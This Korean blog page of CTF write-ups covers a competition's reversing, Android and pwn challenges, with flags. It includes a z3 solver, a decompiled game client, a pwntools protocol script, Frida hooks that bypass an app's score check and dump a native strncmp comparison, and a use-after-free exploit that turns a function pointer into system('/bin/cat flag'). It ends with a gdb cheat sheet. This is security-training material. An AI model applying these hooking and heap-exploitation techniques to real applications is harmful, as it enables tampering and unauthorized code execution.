Q1

웹 문제인데 Super Super Guessing Chall.. 대충 요약하자면 QR Code Recovery + No Cookie Send Data + Command Injection + /etc/shadow + /etc/passwd + Login Account 이정도....

FLAG : h39dmxieYdne

Q2

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
     - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
                     + 103 * data[1]
                     - 230 * data[2]
                     + 359 * data[3]
                     - 516 * data[4]
                     + 133 * data[5]
                     - 16 * data[6]
                     - 500 * data[7]
                     - 343 * data[8]
                     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
                             +262 * data[1]
                             - 415 * data[2]
                             - 889 * data[3]
                             + 621 * data[4]
                             - 855 * data[5]
                             - 818 * data[6]
                             - 785 * data[7]
                             - 866 * data[8]
                             - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
                                 - 57 * data[1]
                                 - 477 * data[2]
                                 + 164 * data[3]
                                 - 22 * data[4]
                                 - 865 * data[5]
                                 - 784 * data[6]
                                 - 768 * data[7]
                                 + 416 * data[8]
                                - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){


                                                                 return 1;

                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

    puts(" ** enjoy **");
        fflush(stdin);
        int i; 
        for (i = 0; i < sizeof(data)/sizeof(int); i++) {
                printf(" Input[%d] : ", i);
                fflush(stdin);
                scanf("%u", &data[i]);
        }

        if ( (unsigned int)Solution(data) ) {

            printf(" [+] flag {%c%c%c%c%c%c%c%c%c%c}\n", data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(" [-] nope!!");
        }
        return 0;
}

Ez

from z3 import *

s = Solver()
data = [BitVec('a%i'%i,8)for i in range(10)]

s.add(( 316 * data[0]
     - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ))

s.add(( 754 * data[0]
                     + 103 * data[1]
                     - 230 * data[2]
                     + 359 * data[3]
                     - 516 * data[4]
                     + 133 * data[5]
                     - 16 * data[6]
                     - 500 * data[7]
                     - 343 * data[8]
                     + 980 * data[9] == 31039 ))
s.add(641 * data[0]
                             +262 * data[1]
                             - 415 * data[2]
                             - 889 * data[3]
                             + 621 * data[4]
                             - 855 * data[5]
                             - 818 * data[6]
                             - 785 * data[7]
                             - 866 * data[8]
                             - 799 * data[9]== -262955)
s.add(( 473 * data[0]
                                 - 57 * data[1]
                                 - 477 * data[2]
                                 + 164 * data[3]
                                 - 22 * data[4]
                                 - 865 * data[5]
                                 - 784 * data[6]
                                 - 768 * data[7]
                                 + 416 * data[8]
                                - 121 * data[9]== -180990))
s.add(944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060)
s.add(597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022)
s.add((164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791))
s.add((301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199))
s.add((703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454))
s.add((207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ))
print s.check()
m = s.model()
print m
print ''.join(chr(int(str(m.evaluate(data[i])))) for i in range(10))

FLAG : hello\0o0/

Q3

암호학 Diffie-Hellman 문제였다.

FLAG :

Q4

Chrome Extension 파일을 주는데 파일 추출하면 flag1.exe, flag2.exe, flag3.exe랑 암호화된 문자를 저장한 파일들이 나온다. python으로 만든 exe라 추출하려 했는데 실패했다.. 아쉬움

FLAG :

Q5

PPTX Format Problem? 아마.. 문제를 안봄 Guessing 같아서..

FLAG :

Q6

예선에서 나왔던 가위바위보 1000번 이기는 문제랑 유사하다.. WireShark Packet에서 ftp-data 추출하면 python exe가 나와서 추출하면 아래와 같이 나온다.

# Embedded file name: client.py
import Tkinter as tk
import tkMessageBox
import socket
from time import sleep
import threading
your_name = ''
opponent_name = ''
game_round = 0
game_timer = 4
your_choice = ''
opponent_choice = ''
TOTAL_NO_OF_ROUNDS = 1000
client = None
flag = None
window_main = tk.Tk()
window_main.title('Game Client')
serverFrame = tk.Frame(window_main)
lblHOST = tk.Label(serverFrame, text='Address:').pack(side=tk.LEFT)
entHost = tk.Entry(serverFrame)
entHost.pack(side=tk.LEFT)
lblPORT = tk.Label(serverFrame, text='Port:').pack(side=tk.LEFT)
entPort = tk.Entry(serverFrame)
entPort.pack(side=tk.LEFT)
serverFrame.pack(side=tk.TOP, pady=(5, 0))
top_welcome_frame = tk.Frame(window_main)
lbl_name = tk.Label(top_welcome_frame, text='Name:')
lbl_name.pack(side=tk.LEFT)
ent_name = tk.Entry(top_welcome_frame)
ent_name.pack(side=tk.LEFT)
btn_connect = tk.Button(top_welcome_frame, text='Connect', command=lambda : connect())
btn_connect.pack(side=tk.LEFT)
top_welcome_frame.pack(side=tk.TOP)
top_message_frame = tk.Frame(window_main)
lbl_line = tk.Label(top_message_frame, text='***********************************************************').pack()
lbl_welcome = tk.Label(top_message_frame, text='')
lbl_welcome.pack()
lbl_line_server = tk.Label(top_message_frame, text='***********************************************************')
lbl_line_server.pack_forget()
top_message_frame.pack(side=tk.TOP)
top_frame = tk.Frame(window_main)
top_left_frame = tk.Frame(top_frame, highlightbackground='green', highlightcolor='green', highlightthickness=1)
lbl_your_name = tk.Label(top_left_frame, text='Your name: ' + your_name, font='Helvetica 13 bold')
lbl_opponent_name = tk.Label(top_left_frame, text='Opponent: ' + opponent_name)
lbl_your_name.grid(row=0, column=0, padx=5, pady=8)
lbl_opponent_name.grid(row=1, column=0, padx=5, pady=8)
top_left_frame.pack(side=tk.LEFT, padx=(10, 10))
top_right_frame = tk.Frame(top_frame, highlightbackground='green', highlightcolor='green', highlightthickness=1)
lbl_game_round = tk.Label(top_right_frame, text='Game round (x) starts in', foreground='blue', font='Helvetica 14 bold')
lbl_timer = tk.Label(top_right_frame, text=' ', font='Helvetica 24 bold', foreground='blue')
lbl_game_round.grid(row=0, column=0, padx=5, pady=5)
lbl_timer.grid(row=1, column=0, padx=5, pady=5)
top_right_frame.pack(side=tk.RIGHT, padx=(10, 10))
top_frame.pack_forget()
middle_frame = tk.Frame(window_main)
lbl_line = tk.Label(middle_frame, text='***********************************************************').pack()
lbl_line = tk.Label(middle_frame, text='**** GAME LOG ****', font='Helvetica 13 bold', foreground='blue').pack()
lbl_line = tk.Label(middle_frame, text='***********************************************************').pack()
round_frame = tk.Frame(middle_frame)
lbl_round = tk.Label(round_frame, text='Round')
lbl_round.pack()
lbl_your_choice = tk.Label(round_frame, text='Your choice: None', font='Helvetica 13 bold')
lbl_your_choice.pack()
lbl_opponent_choice = tk.Label(round_frame, text='Opponent choice: ' + 'None')
lbl_opponent_choice.pack()
lbl_result = tk.Label(round_frame, text=' ', foreground='blue', font='Helvetica 14 bold')
lbl_result.pack()
round_frame.pack(side=tk.TOP)
final_frame = tk.Frame(middle_frame)
lbl_line = tk.Label(final_frame, text='***********************************************************').pack()
lbl_final_result = tk.Label(final_frame, text=' ', font='Helvetica 13 bold', foreground='blue')
lbl_final_result.pack()
lbl_line = tk.Label(final_frame, text='***********************************************************').pack()
final_frame.pack(side=tk.TOP)
middle_frame.pack_forget()
button_frame = tk.Frame(window_main)
photo_rock = tk.PhotoImage(file='rock.gif')
photo_paper = tk.PhotoImage(file='paper.gif')
photo_scissors = tk.PhotoImage(file='scissors.gif')
btn_rock = tk.Button(button_frame, text='Rock', command=lambda : choice('rock'), state=tk.DISABLED, image=photo_rock)
btn_paper = tk.Button(button_frame, text='Paper', command=lambda : choice('paper'), state=tk.DISABLED, image=photo_paper)
btn_scissors = tk.Button(button_frame, text='Scissors', command=lambda : choice('scissors'), state=tk.DISABLED, image=photo_scissors)
btn_rock.grid(row=0, column=0)
btn_paper.grid(row=0, column=1)
btn_scissors.grid(row=0, column=2)
button_frame.pack(side=tk.BOTTOM)

def game_logic(you, opponent):
    winner = ''
    rock = 'rock'
    paper = 'paper'
    scissors = 'scissors'
    player0 = 'you'
    player1 = 'opponent'
    if you == opponent:
        winner = 'draw'
    elif you == rock:
        if opponent == paper:
            winner = player1
        else:
            winner = player0
    elif you == scissors:
        if opponent == rock:
            winner = player1
        else:
            winner = player0
    elif you == paper:
        if opponent == scissors:
            winner = player1
        else:
            winner = player0
    return winner

def enable_disable_buttons(todo):
    if todo == 'disable':
        btn_rock.config(state=tk.DISABLED)
        btn_paper.config(state=tk.DISABLED)
        btn_scissors.config(state=tk.DISABLED)
    else:
        btn_rock.config(state=tk.NORMAL)
        btn_paper.config(state=tk.NORMAL)
        btn_scissors.config(state=tk.NORMAL)

def connect():
    global HOST_ADDR
    global your_name
    global HOST_PORT
    HOST_ADDR = entHost.get()
    HOST_PORT = int(entPort.get())
    if len(ent_name.get()) < 1:
        tkMessageBox.showerror(title='ERROR!!!', message='You MUST enter your first name <e.g. John>')
    else:
        your_name = ent_name.get()
        lbl_your_name['text'] = 'Your name: ' + your_name
        connect_to_server(your_name, HOST_ADDR, HOST_PORT)

def count_down(my_timer, nothing):
    global game_round
    if game_round <= TOTAL_NO_OF_ROUNDS:
        game_round = game_round + 1
    lbl_game_round['text'] = 'Game round ' + str(game_round) + ' starts in'
    while my_timer > 0:
        my_timer = my_timer - 1
        print 'game timer is: ' + str(my_timer)
        lbl_timer['text'] = my_timer
        sleep(1)

    enable_disable_buttons('enable')
    lbl_round['text'] = 'Round - ' + str(game_round)
    lbl_final_result['text'] = ''

def choice(arg):
    global opponent_choice
    global flag
    global client
    global your_choice
    global game_round
    your_choice = arg
    lbl_your_choice['text'] = 'Your choice: ' + your_choice
    lbl_opponent_choice['text'] = 'Opponent choice: ' + opponent_choice
    if client:
        enable_disable_buttons('disable')
    who_wins = game_logic(your_choice, opponent_choice)
    if who_wins == 'you':
        lbl_result['text'] = 'Result: WIN'
        client.send('round$' + str(game_round))
        if flag == None:
            client.send('state$Yes')
        else:
            client.close()
    elif who_wins == 'opponent':
        game_round = 0
        lbl_result['text'] = 'Result: LOSS'
        lbl_final_result['text'] = 'Game Out'
        lbl_final_result.config(foreground=color)
        client.close()
    else:
        game_round = 0
        lbl_result['text'] = 'Result: DRAW'
        lbl_final_result['text'] = 'Game Out'
        lbl_final_result.config(foreground=color)
        client.close()
    if game_round == TOTAL_NO_OF_ROUNDS:
        final_result = ''
        color = ''
        enable_disable_buttons('disable')
        game_round = 0
    return

def connect_to_server(name, HOST_ADDR, HOST_PORT):
    global client
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect((HOST_ADDR, HOST_PORT))
        client.send(name)
        btn_connect.config(state=tk.DISABLED)
        ent_name.config(state=tk.DISABLED)
        lbl_name.config(state=tk.DISABLED)
        enable_disable_buttons('disable')
        threading._start_new_thread(receive_message_from_server, (client, 'm'))
    except Exception as e:
        tkMessageBox.showerror(title='ERROR!!!', message='Cannot connect to host: ' + HOST_ADDR + ' on port: ' + str(HOST_PORT) + ' Server may be Unavailable. Try again later')

def receive_message_from_server(sck, m):
    global opponent_choice
    global opponent_name
    global flag
    while True:
        from_server = sck.recv(4096)
        if not from_server:
            break
        if from_server.startswith('welcome'):
            if from_server == 'welcome':
                lbl_welcome['text'] = 'Welcome ' + your_name
                lbl_line_server.pack()
        elif from_server.startswith('opponent_name$'):
            opponent_name = from_server.replace('opponent_name$', '')
            lbl_opponent_name['text'] = 'Opponent: ' + opponent_name
            top_frame.pack()
            middle_frame.pack()
            if client:
                client.send(str(game_round))
                client.send('state$Yes')
            lbl_welcome.config(state=tk.DISABLED)
            lbl_line_server.config(state=tk.DISABLED)
        elif from_server.startswith('$opponent_choice'):
            opponent_choice = from_server.replace('$opponent_choice', '')
            threading._start_new_thread(count_down, (game_timer, ''))
        elif from_server.startswith('flag$'):
            flag = from_server.replace('flag$', '')
            lbl_final_result['text'] = 'flag={' + str(flag) + '}'
            color = 'red'
            lbl_final_result.config(foreground=color)
            break

def on_closing():
    if tkMessageBox.askokcancel('Quit', 'Do you want to quit?'):
        if client:
            try:
                client.send('close$close')
                window_main.destroy()
                client.close()
            except:
                window_main.destroy()

        else:
            window_main.destroy()

window_main.protocol('WM_DELETE_WINDOW', on_closing)
window_main.mainloop()

문제가 조금 이상한게 guessing 요소가 너무 많다.. XOR까진 이해하겠는데 다음부터.. 모르겠다. 최대한 한 부분까지 넣었다.

from pwn import *

context.log_level = 'debug'

p = remote('192.168.10.25', 1231)

p.sendafter('Input the name=','Sung')
p.recv(4096)
sleep(2)
p.send('0')
# sleep(0.1)
p.send('state$Yes')
sleep(2)
p.recv(4096)
# p.send('flag$')
p.send('round$1000')

# p.send('state$Yes')
sleep(2)
# 
p.recv(4096)

p.send('Hihisecure')

p.send('state$Yes')
sleep(2)
p.recv(4096)
p.send('round$1000')

# a = 'Hihisecure'
# b = 'Secretcode'
# p.sendafter('Input the Decryption=',';\x0ccretcode')

p.interactive()

# Secretcode=3b0c63726574636f6465

코드에 루틴도 없는데 ㅋㅋ.. Super Guessing! 결론은 못품 아무도.

FLAG :

Q7

Unity 문제인데 C# IL Patch해서 풀었다.

FLAG : gdiojcggemie

Q8

FLAG :

Q9

주요 메소드 기능을 통해서 설명해보겠습니다.

nklib 라이브러리를 불러옴

package com.example.ndklib;

public class NativeWrapper {
    public native boolean nativeSum(boolean z, String str);

    static {
        System.loadLibrary("ndklib");
    }
}

여기서 랜덤 값으로 대충 비교해서 맞추면 this.value1++ 해준다. 추가로 boolean a() 메소드가 존재하는데 이걸 이용해서 이따가 Hooking 하게 될 것이다.

public void winCheck(int i, int i2) {
    int i3 = ((i + 3) - i2) % 3;
    new javaBisic();
    this.kk = a(this.value1);
    if (i3 == 0) {
        Toast makeText = Toast.makeText(getApplicationContext(), "비겼습니다, 아깝네요!!", 0);
        this.myToast = makeText;
        makeText.show();
    } else if (i3 == 1) {
        Toast makeText2 = Toast.makeText(getApplicationContext(), "이겼습니다. 점수 1점을 획득하셨습니다", 0);
        this.myToast = makeText2;
        this.value1++;
        makeText2.show();
    } else if (i3 == 2) {
        this.myToast = Toast.makeText(getApplicationContext(), "졌습니다..다시 시도 해 주세요", 0);
        System.out.println(this.kk);
        this.myToast.show();
    }
}

public boolean a(int i) {
    return this.value1 > 10000;
}

아까 맞추면 this.value1이 계속 1씩 증가했는데 이걸 boolean a의 리턴이 True면 축하한다고 뜨면서 플래그를 제출 할 수 있게된다. 여기서 여기서 Library의 Native 함수를 이용해서 Edit에 입력한 문자를 인자로 넣어준다.

this.Check_Score.setOnClickListener(new View.OnClickListener() {
    public void onClick(View view) {
        MainActivity mainActivity = MainActivity.this;
        final boolean a = mainActivity.a(mainActivity.value1);
        MainActivity.this.et = new EditText(MainActivity.this);
        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
        builder.setIcon((int) R.mipmap.ic_launcher);
        if (a) {
            builder.setIcon((int) R.mipmap.ic_launcher);
            builder.setTitle((CharSequence) "Title");
            builder.setMessage((CharSequence) "축하합니다!!!!!!\n관리자에게 플레그를 문의하세요!!");
            builder.setView((View) MainActivity.this.et);
        } else {
            builder.setTitle((CharSequence) "Title");
            builder.setMessage((CharSequence) "당신의 수는 " + MainActivity.this.value1 + "입니다 \n점수를 10000점 이상 받으시고, 관리자에게 플레그를 받으세요!!");
        }
        builder.setPositiveButton((CharSequence) "확인", (DialogInterface.OnClickListener) new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface dialogInterface, int i) {
                MainActivity.this.aaa = nativeWrapper.nativeSum(a, MainActivity.this.et.getText().toString());
                String str = MainActivity.this.aaa ? "축하드립니다!! 플레그를 제출 해 주세요" : "코드를 다시 확인 해 주세요";
                AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                AlertDialog.Builder title = builder.setTitle((CharSequence) MainActivity.this.et.getText().toString());
                title.setMessage((CharSequence) str + "\n");
                builder.create().show();
                dialogInterface.dismiss();
            }
        });
        builder.show();
    }
});

그래서 nativeSum 함수를 보면 매우 복잡하게 되어있다.. 그래서 Native 함수도 후킹해서 strncmp가 호출되니까 v9을 후킹해서 값을 가져오면 된다.

unsigned __int64 __fastcall Java_com_example_ndklib_NativeWrapper_nativeSum(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v4; // r14
  unsigned int v5; // er15
  const char *v6; // rax
  const char *v7; // r12
  unsigned __int64 result; // rax
  __int128 v9; // [rsp+0h] [rbp-58h]
  char v10; // [rsp+10h] [rbp-48h]
  char v11; // [rsp+11h] [rbp-47h]
  char v12; // [rsp+12h] [rbp-46h]
  char v13; // [rsp+13h] [rbp-45h]
  char v14; // [rsp+14h] [rbp-44h]
  char v15; // [rsp+15h] [rbp-43h]
  char v16; // [rsp+16h] [rbp-42h]
  char v17; // [rsp+17h] [rbp-41h]
  char v18; // [rsp+18h] [rbp-40h]
  unsigned __int64 v19; // [rsp+28h] [rbp-30h]

  v4 = a4;
  v19 = __readfsqword(0x28u);
  v5 = 0;
  v6 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a4, 0LL);
  v9 = xmmword_880;
  *(__int128 *)((char *)&v9 + 10) = *(__int128 *)((char *)&xmmword_880 + 10);
  LOBYTE(v9) = 102;
  _mm_storeu_si128(
    (__m128i *)((char *)&v9 + 1),
    _mm_add_epi8(_mm_loadu_si128((const __m128i *)((char *)&v9 + 1)), (__m128i)xmmword_870));
  v11 -= 17;
  v13 -= 19;
  v14 -= 20;
  v15 -= 21;
  v17 -= 23;
  v18 -= 24;
  v7 = v6;
  BYTE9(v9) = BYTE1(v9) + 8;
  BYTE14(v9) = BYTE4(v9) + 9;
  v12 = BYTE2(v9) + 2;
  BYTE11(v9) = BYTE2(v9) + 19;
  BYTE12(v9) = BYTE5(v9) + 22;
  HIBYTE(v9) = (BYTE1(v9) + 8) ^ BYTE5(v9);
  v16 = BYTE7(v9) | BYTE5(v9);
  BYTE8(v9) = (BYTE1(v9) + 8) | (BYTE2(v9) + 19);
  v10 = 97;
  if ( !strncmp(v6, (const char *)&v9, 0x19uLL) )
  {
    (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, v4, v7);
    LOBYTE(v5) = 1;
  }
  result = __readfsqword(0x28u);
  if ( result == v19 )
    result = v5;
  return result;
}

Frida Hookin 코드입니다. public boolean a() 함수의 리턴 값을 true로 변경해서 플래그를 입력할 수 있는 단계까지 간다. 그 다음에 native 함수를 이용해서 문자열 비교를 하니까 strncmp함수를 후킹해서 Memory.readByteArray()로 값을 긁어오면 된다.

Java.perform(function(){
    console.log('START!');
    var ptr = Java.use('com.example.ctf.MainActivity');
    ptr.a.implementation = function(){
        return true;
    }
});

var nativeSum = Module.findExportByName(null,'Java_com_example_ndklib_NativeWrapper_nativeSum');
//Interceptor.attach(Module.findExportByName(null,'strncmp'),{
Interceptor.attach(Module.getExportByName('libndklib.so','strncmp'),{
    onEnter: function(args){
        console.log('strncmp args[2] : ' + args[2]);
        console.log(Memory.readByteArray(ptr(parseInt(args[1])),0x20));
    }
});

결과

FLAG : flag_A99ttEtW4h5a8c6ABy3E

Q10

Guessing zz;

FLAG : databaseencryption

후기

Super Guessing 대회지만 Q2, Q9 안드로이드 문제는 그렇게 Guessing은 아니라 재밌게 푼 거 같다. 너무 시행착오 많이 겪어서 시간 버려서 아쉬웠다. 굳굳

  1. mhibio 2020.10.30 22:16 신고

    제가 본선갔으면 더 잘했을거같아요.

  2. p1nkjelly 2020.11.02 00:23

    섹섹보

  3. cha512 2020.11.02 00:24

    제가 본선갔으면 더 잘했을거같아요.

다른 사람들 도움되라고 올립니다.

 

main 함수 메뉴들

      case 1u:
        login(&v6);
        break;
      case 2u:
        logout(&v6);
        break;
      case 3u:
        (*(a2 + 32))(a2, &v4);
        break;
      case 4u:
        borrow_book(&v6, &a2, &a3);
        break;
      case 5u:
        return_book(&v6, &a2, &a3);
        break;
      case 6u:
        puts("600d by3..");
        exit(0);
        return;
      default:
        puts("don't mess with me! GET OUT!!!! ");
        exit(0);
        return;
int __fastcall login(char **a1)
{
  char *v1; // rbx
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  *a1 = malloc(0x20uLL);
  getchar();
  printf("ID:", 0LL);
  fgets(*a1, 32, stdin);
  v1 = *a1;
  v1[strlen(*a1) - 1] = 0;
  result = printf("Welcome %s !!\n", v1);
  session = 1;
  return result;
}
int __fastcall logout(void **a1)
{
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  result = session;
  if ( session == 1 )
  {
    free(*a1);
    result = puts("logout completed");
    session = 0;
  }
  return result;
}
void __fastcall borrow_book(__int64 a1, char **a2, _DWORD *a3)
{
  int *v3; // rsi
  size_t v4; // rax
  _DWORD *v5; // [rsp+8h] [rbp-48h]
  char **v6; // [rsp+10h] [rbp-40h]
  int idx; // [rsp+2Ch] [rbp-24h]
  char *book[3]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v6 = a2;
  v5 = a3;
  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 1, 0LL);
  book[0] = "jack_and_the_beanstalk";
  book[1] = "kongjui_and_patjui";
  book[2] = "aladdin_lamp";
  *v6 = malloc(0x28uLL);
  while ( 1 )
  {
    puts("1. Jack and the Beanstalk");
    puts("2. Kongjui and Patjui");
    puts("3. Aladdin's Lamp");
    printf("> ", v3);
    v3 = &idx;
    __isoc99_scanf("%d", &idx);
    if ( idx <= 3 && idx > 0 )
      break;
    puts("We don't have that book");
  }
  *(*v6 + 6) = idx;
  v4 = strlen(book[idx - 1]);
  strncpy(*v6, book[idx - 1], v4);
  *(*v6 + 4) = read_book;
  *v5 = 1;
  printf("you just borrwed %s\n", *v6);
  if ( session == 1 )
  {
    point += 14;
    puts("you are our member !");
    puts("point +14");
  }
}
int __fastcall return_book(__int64 a1, void **a2, _DWORD *a3)
{
  int result; // eax
  _DWORD *v4; // [rsp+8h] [rbp-18h]

  v4 = a3;
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( !*v4 )
    return puts("you don't have any book.");
  printf("return '%s'\n", *a2);
  free(*a2);
  result = v4;
  *v4 = 0;
  return result;
}
unsigned __int64 __fastcall read_book(__int64 a1)
{
  int v1; // eax
  char dest[8]; // [rsp+10h] [rbp-50h]
  __int64 v4; // [rsp+20h] [rbp-40h]
  __int64 v5; // [rsp+28h] [rbp-38h]
  __int64 v6; // [rsp+30h] [rbp-30h]
  __int64 v7; // [rsp+38h] [rbp-28h]
  __int64 v8; // [rsp+40h] [rbp-20h]
  __int64 v9; // [rsp+48h] [rbp-18h]
  unsigned __int64 v10; // [rsp+58h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( *(a1 + 24) <= 3 && *(a1 + 24) >= 0 )
  {
    strcpy(dest, "/bin/cat ");
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    v8 = 0LL;
    v9 = 0LL;
    printf("your book number : %d\n", *(a1 + 24));
    strcat(dest, a1);
    printf("book name : %s\n", a1);
    v1 = *(a1 + 24);
    switch ( v1 )
    {
      case 2:
        system(dest);
        break;
      case 3:
        system(dest);
        break;
      case 1:
        system(dest);
        break;
    }
  }
  else
  {
    puts("you don't have any book to read.");
  }
  return __readfsqword(0x28u) ^ v10;
}

간단한 UAF 문제
책을 빌리고나서 free해준 다음에 login에서 힙 포인터를 재사용할 수 있음
그래서 read_book()에서 book name을 flag로 만들어준다.
그 다음에 3번 메뉴 함수포인터 실행해주면 /bin/cat flag가 됨

익스코드

from pwn import *

e = ELF('./online_library')
p = process('./online_library')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def login(id):
    sla('>','1')
    sla('ID:',id)

def logout():
    sla('>','2')

def executePtr():
    sla('>','3')

def borrow(idx):
    sla('>','4')
    sla('>',str(idx))

def returnBook():
    sla('>','5')

# UAF
borrow(1)
returnBook()
login('flag')
executePtr()

p.interactive()


'''
[*] '/vagrant/online_library'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

'''

실행
gdb "파일명"

인텔형 어셈블리어로 보기
set disassembly-flavor intel

메인 함수 디스어셈블하기
disas main

브레이크 포인트 걸기
b *main 메인 함수에 브레이크 포인트
b *0x00000000004005bd 특정 주소에 브레이크 포인트
b "숫자" eip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행하기
continue 멈춘 부분부터 계속 실행하기
ni 한 스탭 실행 후 멈추기

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기 
x/o "메모리 주소" 8진수로 확인하기 
x/d "메모리 주소" 10진수로 확인하기 
x/u "메모리 주소" 부호없는 10진수로 확인하기 
x/x "메모리 주소" 16진수로 확인하기 
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

